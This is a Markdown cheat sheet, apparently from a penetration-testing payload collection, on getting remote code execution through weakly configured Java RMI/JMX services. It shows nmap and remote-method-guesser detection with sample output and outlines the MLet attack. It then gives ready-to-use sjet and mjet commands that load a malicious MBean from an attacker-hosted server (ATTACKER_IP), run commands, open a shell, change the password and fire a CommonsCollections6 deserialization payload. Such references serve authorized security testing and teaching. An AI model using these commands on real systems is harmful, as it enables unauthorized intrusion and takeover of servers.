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105 lines
4.5 KiB
Markdown
105 lines
4.5 KiB
Markdown
# Java RMI
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> Exposing a weak configured Java Remote Method Invocation (RMI) service can lead to several ways to achieve RCE.
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> One such attack is to host an MLet file and instruct the JMX service to load MBeans from the remote host which can be carried out
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> using the tools mjet or sjet. remote-method-guesser is a more recent tool which bundles enumeration of RMI services together
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> with a summary of currently known attack techniques.
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## Summary
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* [Tools](#tools)
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* [Detection](#detection)
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* [Exploitation](#exploitation)
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* [RCE using sjet/mjet](#rce-using-sjet-or-mjet)
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* [References](#references)
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## Tools
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- [sjet](https://github.com/siberas/sjet)
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- [mjet](https://github.com/mogwailabs/mjet)
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- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
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## Detection
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Using [nmap](https://nmap.org/):
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```powershell
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$ nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" -p TARGET_PORT TARGET_IP -Pn -v
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1089/tcp open java-rmi Java RMI
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| rmi-vuln-classloader:
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| VULNERABLE:
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| RMI registry default configuration remote code execution vulnerability
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| State: VULNERABLE
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| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
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| rmi-dumpregistry:
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| jmxrmi
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| javax.management.remote.rmi.RMIServerImpl_Stub
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```
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Using [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser):
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```bash
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$ rmg scan 172.17.0.2 --ports 0-65535
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[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
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[+]
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[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
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[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
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[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
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[+] [6234 / 6234] [#############################] 100%
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[+]
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[+] Portscan finished.
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```
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```bash
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$ rmg enum 172.17.0.2 9010
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[+] RMI registry bound names:
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[+]
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[+] - plain-server2
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[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
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[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
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[+] - legacy-service
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[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
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[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
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[+] - plain-server
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[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
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[+] Endpoint: iinsecure.dev:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
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[...]
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```
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## Exploitation
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### RCE using sjet or mjet
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#### Requirements
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- Jython
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- The JMX server can connect to a http service that is controlled by the attacker
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- JMX authentication is not enabled
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#### Remote Command Execution
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The attack involves the following steps:
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* Starting a web server that hosts the MLet and a JAR file with the malicious MBeans
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* Creating a instance of the MBean javax.management.loading.MLet on the target server, using JMX
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* Invoking the "getMBeansFromURL" method of the MBean instance, passing the webserver URL as parameter. The JMX service will connect to the http server and parse the MLet file.
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* The JMX service downloads and loades the JAR files that were referenced in the MLet file, making the malicious MBean available over JMX.
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* The attacker finally invokes methods from the malicious MBean.
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Exploit the JMX using [sjet](https://github.com/siberas/sjet) or [mjet](https://github.com/mogwailabs/mjet)
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```powershell
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jython sjet.py TARGET_IP TARGET_PORT super_secret install http://ATTACKER_IP:8000 8000
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jython sjet.py TARGET_IP TARGET_PORT super_secret command "ls -la"
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jython sjet.py TARGET_IP TARGET_PORT super_secret shell
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jython sjet.py TARGET_IP TARGET_PORT super_secret password this-is-the-new-password
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jython sjet.py TARGET_IP TARGET_PORT super_secret uninstall
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jython mjet.py --jmxrole admin --jmxpassword adminpassword TARGET_IP TARGET_PORT deserialize CommonsCollections6 "touch /tmp/xxx"
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jython mjet.py TARGET_IP TARGET_PORT install super_secret http://ATTACKER_IP:8000 8000
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jython mjet.py TARGET_IP TARGET_PORT command super_secret "whoami"
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jython mjet.py TARGET_IP TARGET_PORT command super_secret shell
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```
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## References
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* [ATTACKING RMI BASED JMX SERVICES - HANS-MARTIN MÜNCH, 28 April 2019](https://mogwailabs.de/en/blog/2019/04/attacking-rmi-based-jmx-services/)
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* [JMX RMI – MULTIPLE APPLICATIONS RCE - Red Timmy Security, 26 March 2019](https://www.exploit-db.com/docs/english/46607-jmx-rmi-–-multiple-applications-remote-code-execution.pdf)
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* [remote-method-guesser - BHUSA 2021 Arsenal - Tobias Neitzel, 15 August 2021](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)
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